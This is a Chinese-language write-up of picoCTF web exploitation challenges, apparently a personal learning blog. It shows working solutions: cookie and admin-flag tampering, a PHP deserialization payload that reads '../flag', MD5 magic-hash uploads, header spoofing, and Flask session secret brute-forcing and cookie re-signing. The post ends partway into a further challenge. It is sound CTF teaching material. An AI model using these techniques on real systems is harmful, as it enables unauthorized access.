前言
有玩過 CTF 的朋友應該都知道 CTF 區分了幾個不同的領域範疇,繼我在上年 10 月開始接觸 Cryptography,為了擴展一下自己的技能樹,所以決定今年 2 月開始也接觸一下 Web Exploitation。
PicoCTF
建議註冊一個帳號邊玩邊學 : https://play.picoctf.org/practice
Web Exploitation
GET aHEAD (20 points)
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:28916/
Hint 1: Maybe you have more than 2 choices
Hint 2: Check out tools like Burpsuite to modify your requests and look at the responses
知識點:HTTP request methods
解法:
使用 curl
指令
$ curl -I http://mercury.picoctf.net:28916/
HTTP/1.1 200 OK
flag: picoCTF{r3j3ct_th3_du4l1ty_70bc61c4}
Content-type: text/html; charset=UTF-8
Cookies (40 points)
Who doesn’t love cookies? Try to figure out the best one. http://mercury.picoctf.net:64944/
知識點:cookies
首先因為題目是 cookies,所以二話不說直接看 cookies,可以看到 裡面有個值 Value 預設是 -1,那我們一定要改成 0 或 1 看看的。
隨著 Value 的值不斷變更,網頁裡面的內容也會不斷更改,直到 Value = 18 時可以看到 Flag。
那當然手動是比較笨的辦法,萬一 Value 的值很大是不理智的,因此可以參考別人的 python 腳本找出 Value 在 1 - 20 並含有 “I love” 的字串:
import requests
url = "http://mercury.picoctf.net:64944/check"
for i in range(0, 20):
text = str(i)
cookies = {
'name': text
}
r = requests.get(url, cookies=cookies)
result = r.text.split(
"<p style=\"text-align:center; font-size:30px;\"><b>")[1].split("</b>")[0]
print("[+] Testing Cookie:{} | Result: {}".format(i, result))
if 'I love' not in result:
print(r.text.split("<code>")[1].split("</code>")[0])
break
Insp3ct0r (50 points)
Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/44924/ (link) or http://jupiter.challenges.picoctf.org:44924
Hints 1 : How do you inspect web code on a browser?
Hints 2 : There’s 3 parts
知識點 :
如何查看網頁原始碼內容
在網頁任意位置按”右鍵”->”檢視網頁原始碼”
<!doctype html>
<html>
<head>
<title>My First Website :)</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="mycss.css">
<script type="application/javascript" src="myjs.js"></script>
</head>
<body>
<div class="container">
<header>
<h1>Inspect Me</h1>
</header>
<button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">What</button>
<button class="tablink" onclick="openTab('tababout', this, '#222')">How</button>
<div id="tabintro" class="tabcontent">
<h3>What</h3>
<p>I made a website</p>
</div>
<div id="tababout" class="tabcontent">
<h3>How</h3>
<p>I used these to make this site: <br/>
HTML <br/>
CSS <br/>
JS (JavaScript)
</p>
<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
</div>
</div>
</body>
</html>
在第 31 行有註解,告訴了 picoCTF{tru3_d3
,它是 flag 的前 3 分之 1 ,那其餘的 2 段呢?
試試看點開第 6 行的 mycss.css
和 第 7 行的 myjs.js
,舉一反三是駭客重要的能力之一。
所以只要使用 inspector 查看原始碼,就會發現分別藏在 html , css , javascript 的註解中
Scavenger Hunt (50 points)
There is some interesting information hidden around this site http://mercury.picoctf.net:55079/. Can you find it?
Hint 1: You should have enough hints to find the files, don’t run a brute forcer.
知識點:robots.txt、.htaccess、.DS_Store
這題剛開始以為和上一題一樣,因為直接查看 html 的原始碼,就看見了第一部分的 flag
part 1
<!-- Here's the first part of the flag: picoCTF{t -->
part 2
而第二部分,也在 mycss.css
裡面
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
part 3
不難想到,第三部分應該在 myjs.js
裡,但這次裡面只有提示:
/* How can I keep Google from indexing my website? */
從提示了得知, 把 myjs.js
換成 robots.txt
獲得第三部分
part 4
按照提示:
# I think this is an apache server... can you Access the next flag?
把 robots.txt
換成 .htaccess
獲得第四部分
part 5
按照提示:
# I love making websites on my Mac, I can Store a lot of information there.
把 .htaccess
換成 .DS_Store
獲得第五部分
構成 flag picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_74cceb07}
Some Assembly Required 1 (70 points)
知識點 : WebAssembly
分析:
題目很單純,只有一個輸入的窗口,慣例的做幾件事情:
- 查看原始碼
- 隨便 input 的一些東西
- 查看 cookie、網址的變化
原始碼:
<html>
<head>
<meta charset="UTF-8">
<script src="G82XCw5CX3.js"></script>
</head>
<body>
<h4>Enter flag:</h4>
<input type="text" id="input"/>
<button onclick="onButtonPress()">Submit</button>
<p id="result"></p>
</body>
</html>
在原始碼裡發現了 G82XCw5CX3.js
這個 javascript 的檔案,基本上可以肯定了 input 的部分是通過前端來驗證的
G82XCw5CX3.js:
const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}
用 JS NICE 美化:
'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
/** @type {number} */
url = url - 470;
let _0x402c6f = _0x402c[url];
return _0x402c6f;
};
(function(data, oldPassword) {
const toMonths = _0x4e0e;
for (; !![];) {
try {
const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x41d31a) {
data["push"](data["shift"]());
}
}
})(_0x402c, 627907);
let exports;
(async() => {
const findMiddlePosition = _0x4e0e;
let leftBranch = await fetch(findMiddlePosition(489));
let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
let module = rightBranch[findMiddlePosition(470)];
exports = module["exports"];
})();
/**
* @return {undefined}
*/
function onButtonPress() {
const navigatePop = _0x4e0e;
let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
for (let i = 0; i < params["length"]; i++) {
exports[navigatePop(471)](params[navigatePop(492)](i), i);
}
exports["copy_char"](0, params["length"]);
if (exports[navigatePop(487)]() == 1) {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
} else {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
}
}
;
解法一:
直接用瀏覽器裡的 DevTool 把 wasm 打開,在這下面的 data 區就看到
解法二:
查看 JavaScript 其中一行
const _0x402c = ["value", "2wfTpTR", "instantiate",
"275341bEPcme", "innerHTML", "1195047NznhZg",
"1qfevql", "input", "1699808QuoWhA", "Correct!",
"check_flag", "Incorrect!", "./JIFxzHyW8W",
"23SMpAuA", "802698XOMSrr", "charCodeAt",
"474547vVoGDO", "getElementById", "instance",
"copy_char", "43591XxcWUl", "504454llVtzW",
"arrayBuffer", "2NIQmVj", "result"];
當中有個特別的元素看似路徑 ./JIFxzHyW8W
把它貼在網址路徑上 http://mercury.picoctf.net:40226/JIFxzHyW8W 便會下載一個叫 JIFxzHyW8W
的檔案
where are the robots (100 points)
Can you find the robots? https://jupiter.challenges.picoctf.org/problem/60915/ (link) or http://jupiter.challenges.picoctf.org:60915
Hints : What part of the website could tell you where the creator doesn’t want you to look?
知識點 :
要了解 robots.txt 在一個網站上有何作用,還有放在什麼地方。
原網址 :
https://jupiter.challenges.picoctf.org/problem/60915/
在網址後面加上 robots.txt :
https://jupiter.challenges.picoctf.org/problem/60915/robots.txt
看到內容 :
User-agent: *
Disallow: /8028f.html
顯然 8028f.html 這個文件是網頁製作者不想被搜索引擎建立索引
網址後面加上 8028f.html :
https://jupiter.challenges.picoctf.org/problem/60915/8028f.html
看到 flag
logon (100 points)
The factory is hiding things from all of its users. Can you login as Joe and find what they’ve been looking at? https://jupiter.challenges.picoctf.org/problem/15796/ (link) or http://jupiter.challenges.picoctf.org:15796
Hints : Hmm it doesn’t seem to check anyone’s password, except for Joe’s?
知識點 :
首先是一個登入網站,不論我 Username 和 Password 輸入任何東西,甚至完全不輸入,也無妨 Sign In。
再來查看網站原始碼,發現它根本沒有確認帳號密碼,一律通過。
<!DOCTYPE html>
<html lang="en">
<head>
<title>Factory Login</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="header">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="/">Home</a>
</li>
<li role="presentation"><a href="/logout" class="btn btn-link pull-right">Sign Out</a>
</li>
</ul>
</nav>
<h3 class="text-muted">Factory Login</h3>
</div>
<!-- Categories: success (green), info (blue), warning (yellow), danger (red) -->
<div class="jumbotron">
<p class="lead"></p>
<div class="login-form">
<form role="form" action="/login" method="post">
<div class="form-group">
<input type="text" name="user" id="email" class="form-control input-lg" placeholder="Username">
</div>
<div class="form-group">
<input type="password" name="password" id="password" class="form-control input-lg" placeholder="Password">
</div>
</div>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<input type="submit" class="btn btn-lg btn-success btn-block" value="Sign In">
</div>
</div>
</form>
</div>
<footer class="footer">
<p>© PicoCTF 2019</p>
</footer>
</div>
<script>
$(document).ready(function(){
$(".close").click(function(){
$("myAlert").alert("close");
});
});
</script>
</body>
</html>
那麼,網站又如何確認登入的帳號是不是 Admin 呢?
答案就是透過 Cookie
首先在隨便輸入帳號和密碼。joe : 123
再打開 檢查
(在常見的瀏覽器中一般是 F12 或者 Ctrl + Shift + I)
Application -> Cookies -> 目前的所在網站
看到有這些資料,其中 3 項資料可以特別留意一下
Name | Value |
---|---|
username | joe |
password | 123 |
admin | False |
可以看到我剛才輸入的 username 和 password 都儲存在 cookies 裡面,而 admin 的 value 是 False
,看來 cookie 是以這個數值去傳送給伺服器,然後伺服器透過 admin 的 value 來判斷是否為管理員。
把 admin 的 value 改成True
(注意是有區分大小寫),然後 F5 重新整理網頁
dont-use-client-side (100 points)
Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ (link) or http://jupiter.challenges.picoctf.org:29835
Never trust the client
首先看到是一個登入畫面
隨便打幾句密碼,彈出一個”視窗”提示密碼錯誤,這個彈出”視窗”有似乎是用 JavaScript
查看一下原始碼
<html>
<head>
<title>Secure Login Portal</title>
</head>
<body bgcolor=blue>
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>
<script type="text/javascript">
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(0, split) == 'pico') {
if (checkpass.substring(split*6, split*7) == '723c') {
if (checkpass.substring(split, split*2) == 'CTF{') {
if (checkpass.substring(split*4, split*5) == 'ts_p') {
if (checkpass.substring(split*3, split*4) == 'lien') {
if (checkpass.substring(split*5, split*6) == 'lz_7') {
if (checkpass.substring(split*2, split*3) == 'no_c') {
if (checkpass.substring(split*7, split*8) == 'e}') {
alert("Password Verified")
}
}
}
}
}
}
}
}
else {
alert("Incorrect password");
}
}
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:yellow">
<div style="text-align:center">
<p>This is the secure login portal</p>
<p>Enter valid credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="verify" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>
發現了驗證 Password 的步驟是透過前端 JavaScript 驗證的,雖然打亂了排序,但我們可以重組啊,難怪題目叫做 Don’t use client side。
可以手動重組或者寫 python
#!/usr/bin/env python
import requests
r = requests.get('https://2019shell1.picoctf.com/problem/45147')
lines = r.text.split('\n')
lines = [l for l in lines if 'if ' in l]
lines = [l.split('==') for l in lines]
lines = list(sorted(map(lambda x: (x[0].strip(), x[1].split('\'')[1]), lines)))
s = ''
s += lines[0][1]
s += lines[-1][1]
for l in lines[1:-1]:
s += l[1]
print s
得到flag picoCTF{no_clients_plz_7723ce}
It is my Birthday (100 points)
I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:48746/
Hint 1 : Look at the category of this problem. Hint 2 : How may a PHP site check the rules in the description?
知識點: MD5
題目要求上傳 2 個不同的 PDF 檔案,但要擁有相同的 MD5
解法一 :
隨便找 2 個擁有相同 MD5 值的檔案,例如這個網站中,可以下載到 hello 和 erase 這兩個檔案,它們都具有相同的 MD5 值 da5c61e1edc0f18337e46418e48c1290
(記得把副檔名改成 .pdf)
解法二 :
生成兩個 MD5 值是 0e
開頭的的檔案,利用 PHP 的弱比較特性,把 MD5 值判斷為相同。
# ank @ MyArchLinux in ~ [19:40:13]
$ echo -n "240610708" > f1.pdf
# ank @ MyArchLinux in ~ [19:40:36]
$ echo -n "QNKCDZO" > f2.pdf
# ank @ MyArchLinux in ~ [19:40:43]
$ md5sum f1.pdf f2.pdf
0e462097431906509019562988736854 f1.pdf
0e830400451993494058024219903391 f2.pdf
# ank @ MyArchLinux in ~ [19:40:51]
$ curl -F 'file1=@f1.pdf' -F 'file2=@f2.pdf' -F 'submit=Upload' http://mercury.picoctf.net:48746/ -s | egrep -o "picoCTF{[^}]+}"
picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}
Who are you? (100 points)
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:34588/
Hints 1 : It ain’t much, but it’s an RFC https://tools.ietf.org/html/rfc2616
知識點 : HTTP Hearder, Burp Suite
其實就是改 Header 的題目,但分了好幾關要過,這裡強烈推薦使用 burp suite 這個工具來進行 http hearder 的修改。
Burp suite 基本用法:
1.先把 intercept is on 打開,這時會處於攔截封包的狀態
2.然後重新整理網頁
3.此時便會收到該網頁的 hearder 資訊,可以進行一些竄改
4.竄改完之後,可以使用 forward 發送修改後的內容
第一關
它只允許使用 PicoBrowser 這個瀏覽器的人
修改 User-Agent: PicoBrowser
第二關
它只相信來於同一個 site (訪問來源)的人去訪問
按照 Referer - Mozilla Developer docs.
添加 Referer: http://mercury.picoctf.net:34588/
第三關
它只允許時間在 2018 年的人
按照 Date - Mozilla Developer docs.
添加 Date: Wed, 21 Oct 2018 07:28:00 GMT
第四關
它不允許可被追縱的人
按照 DNT(Do Not Track,請勿追蹤)- Mozilla Developer docs
添加 DNT: 1
第五關
它只允許瑞典的人
在這裡先找出瑞典的 IP 位置: 例如 31.3.152.55
按照 X-Forwarded-For - Mozilla Developer docs
添加 X-Forwarded-For: 31.3.152.55
第六關
它只允許語言是瑞典文
按照 Accept-Language - Mozilla Developer docs
可以在這裡找到各語言 Tag 的列表
修改 Accept-Language: sv,en;q=0.9
通關
全部的 header 加起來大概是這樣:
GET / HTTP/1.1
Host: mercury.picoctf.net:34588
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: picobrowser
Referer: http://mercury.picoctf.net:34588/
Date: Wed, 21 Oct 2018 07:28:00 GMT
DNT: 1
X-Forwarded-For: 31.3.152.55
Accept-Language: sv,en;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
用 wget 解法:
如果想把上面的 header 全部用 wget 寫在一行 terminal 裡,長這樣:
wget -O - http://mercury.picoctf.net:34588/ -U PicoBrowser --header="Referer: http://mercury.picoctf.net:34588/" --header="Date: Wed, 21 Oct 2018 07:28:00 GMT" --header="DNT: 1" --header="X-Forwarded-For: 31.3.152.55" --header="Accept-Language: sv,en;q=0.9" | egrep -o "picoCTF{[^}]+}"
login (100 point )
My dog-sitter’s brother made this website but I can’t get in; can you help? login.mars.picoctf.net
分析
題目是一個簡單的登入畫面,慣例的做幾件事
- 查看 source code
- 查看 cookies
- 測試 input/output
- 測試 injection
經過一番快速分析,應該是屬於第 1 項,從 source code 找到答案的類型
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="styles.css">
<script src="index.js"></script>
</head>
<body>
<div>
<h1>Login</h1>
<form method="POST">
<label for="username">Username</label>
<input name="username" type="text"/>
<label for="username">Password</label>
<input name="password" type="password"/>
<input type="submit" value="Submit"/>
</form>
</div>
</body>
</html>
發現裡面有一個 index.js
的 javascript 檔案寫在 html 的 head 裡
index.js
:
(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();
用 JS NICE 美化一下
'use strict';
(async() => {
await new Promise((e) => {
return window.addEventListener("load", e);
});
document.querySelector("form").addEventListener("submit", (event) => {
event.preventDefault();
const ids = {
u : "input[name=username]",
p : "input[name=password]"
};
const params = {};
for (const i in ids) {
/** @type {string} */
params[i] = btoa(document.querySelector(ids[i]).value).replace(/=/g, "");
}
return "YWRtaW4" !== params.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== params.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(params.p)}.`);
});
})();
這裡我們要注意的是 btoa()
函數,從 btoa() - Web API 得知這個 function 主要 base64 的 encode
因此我們分別對 YWRtaW4
和 cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ
做 base64 的 decode
就得到了帳號 admin
和密碼 picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
Super Serial (130 points)
Try to recover the flag stored on this website http://mercury.picoctf.net:25395/
Hint 1 : The flag is at ../flag
分析
先看 source code view-source:http://mercury.picoctf.net:25395/index.php
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
帳密似乎不是寫在前端,應該是後端的 php 去處理
再看 robots.txt
http://mercury.picoctf.net:25395/robots.txt
User-agent: *
Disallow: /admin.phps
當然要試試 admin.php
和 admin.phps
,但都顯示 Not Found,但這邊給了我們提示,可能存在 phps 的檔案,它能讓我們直接看到 php 的 source code。
現在回過頭來試試看 index.phps
view-source:http://mercury.picoctf.net:25395/index.phps
<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
...略...
這邊有 2 個線索 :
setcookie("login", urlencode(base64_encode(serialize($perm_res)))
和 header("Location: authentication.php")
我們大概可以知道,coookie 裡有一個欄位,Name 是 login,而 value 做了一些 base64 encode 和 urlencode 等編碼
再去看看 authentication.phps
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
...略...
得到線索 cookie.phps
view-source:http://mercury.picoctf.net:25395/cookie.phps
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
從 die("Deserialization error. ".$perm)
; 得知,我們可以透過改變 login 的 value,去改變 $perm
Exploit
先到 http://mercury.picoctf.net:25395/authentication.php
隨意構造一個新的 cookie:
Name = login
Value = 隨意
重新整理後出現
Deserialization error.
這時候我們用 php sandbox 去產生一個 cookie value
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));
?>
執行後的 output
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
構造一個 payload cookie:
Name = login
Value = TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}
Most Cookies (150 points)
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:6259/
Hint1 : How secure is a flask cookie?
server.py
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
知識點 : flask-unsign
Analysis
題目首頁只有一個簡單的搜尋窗口,從 server.py
中得知路徑 /display
前往 http://mercury.picoctf.net:6259/display
透過 cookie ,伺服器判斷我為 blank,要想辦法把 blank 改為 admin
再來看看 cookie :
其中的 session
= eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yg8k2Q.bKSSdsII6S1MaGM5OS8Aql16QtI
把當中 Value 做 base64 decode
所以 session 的 Value 是分開不同的部分,而前部分是 {"very_auth":"blank"}
。如果單純改成 {"very_auth":"admin"}
做 base64 encode 是不可行的,因為還有後面的 app.secret_key,而 app.secret_key 是在 cookie_names 隨機選出來的,所以只要確定是哪個是 secret 就能自己簽 cookie 了
這部分我使用 Flask-unsign,它能透過字典檔解出 secret,還有重簽 cookie 的功能。
Exploit
1.安裝 flask-unsign
pip3 install flask-unsign
2.查詢是否安裝成功
pip3 list | grep flask
flask-unsign
注意,如果提示 command not found: flask-unsign
可能是因為該指令不在 $PATH
的路徑裡
在 Mac 上,路徑可能為 ~/Library/Python/3.8/bin
在 Linux 上,路徑可能為 ~/.local/bin
如果想把路徑加在預設指令上:
export PATH=$PATH:~/Library/Python/3.8/bin
把上面指令寫在 ~/.zshrc
可持續生效
3.進入執行檔目錄(以 Mac 為例)
cd Library/Python/3.8/bin
4.下載 Worldlist
雖然這次的這一題 secret 字詞不多,但我還是建議使用 rockyou.txt 作為字典,日後以應變更多情況。
5.使用 flask-unsign 解出 secret key
./flask-unsign --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yg50wg.7AVThx0STylIToTvFNt87LtU0ts' --wordlist ../../../../Downloads/wordlists/rockyou.txt --no-literal-eval
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 39424 attempts
b'gingersnap'
解出 secret key 為 gingersnap
6.重簽 cookie
./flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret gingersnap
獲得重簽後的 cookie
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Yg9PeA.JCNS5hRnqk5g0u6VMorLek9C10s
7.修改成新的 cookie
–
caas (150 points)
Now presenting cowsay as a service
